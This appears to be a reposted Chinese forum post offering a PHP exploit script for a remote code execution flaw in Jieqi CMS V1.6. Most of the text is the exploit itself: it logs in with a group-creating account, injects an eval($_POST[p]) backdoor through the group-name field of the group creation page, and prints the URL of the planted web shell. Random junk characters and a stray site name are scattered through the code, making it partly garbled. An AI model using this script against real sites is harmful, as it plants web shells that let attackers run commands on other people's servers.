Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

+ U: [- F1 A) u  j# y% ?" C) \' k
该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
4 A" ^1 H% C+ ?6 _: ~ 需要有一个能创建圈子的用户。
3 P- f$ _0 o0 m* Q& d! _; m. `* W( \
<?php
! Z+ H6 P* N% E$ X* r2 A7 H
5 D- `! s2 F" r1 j0 Nprint_r('
+---------------------------------------------------------------------------+
+ B7 O) O2 i) l& K. [% P" yJieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
mail: phpsec at hotmail dot com
team: http://www.wolvez.org
/ s) k7 S2 U* U# K5 t- O+---------------------------------------------------------------------------+
" r( O. \) [$ J, e* e% j'); /**
* works regardless of php.ini settings
$ V( r5 e0 b+ w! }*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
path:      path to jieqicms
uasename:  a username who can create group
1 z3 N+ c+ p; R3 f: e6 }Example:
0 w; i8 r5 I  Q9 K: Zphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
2 t! z% B4 j5 W; r% i+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"
7 G) s, P6 s. M) G) O) v) |
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
- i. N- T6 ~) ^: b2 f& t, K& m-----------------------------23281168279961
: f, Y( r! I- e3 hContent-Disposition: form-data; name="gcatid"
( w' b. g) M. t+ ?. q  Q& u
1
' B2 q) g/ e# B-----------------------------23281168279961
3 P- g1 [: ^6 m$ U# W$ Z: k6 GContent-Disposition: form-data; name="gaudit"

6 A& A3 b* K* G1
-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"
4 G, M) X& p9 U" J, r5 V' ^
1
-----------------------------23281168279961--
: E" ?( ~) M2 a* m. {' F# V'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
3 D' j! e- y3 _+ o. e1 a
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;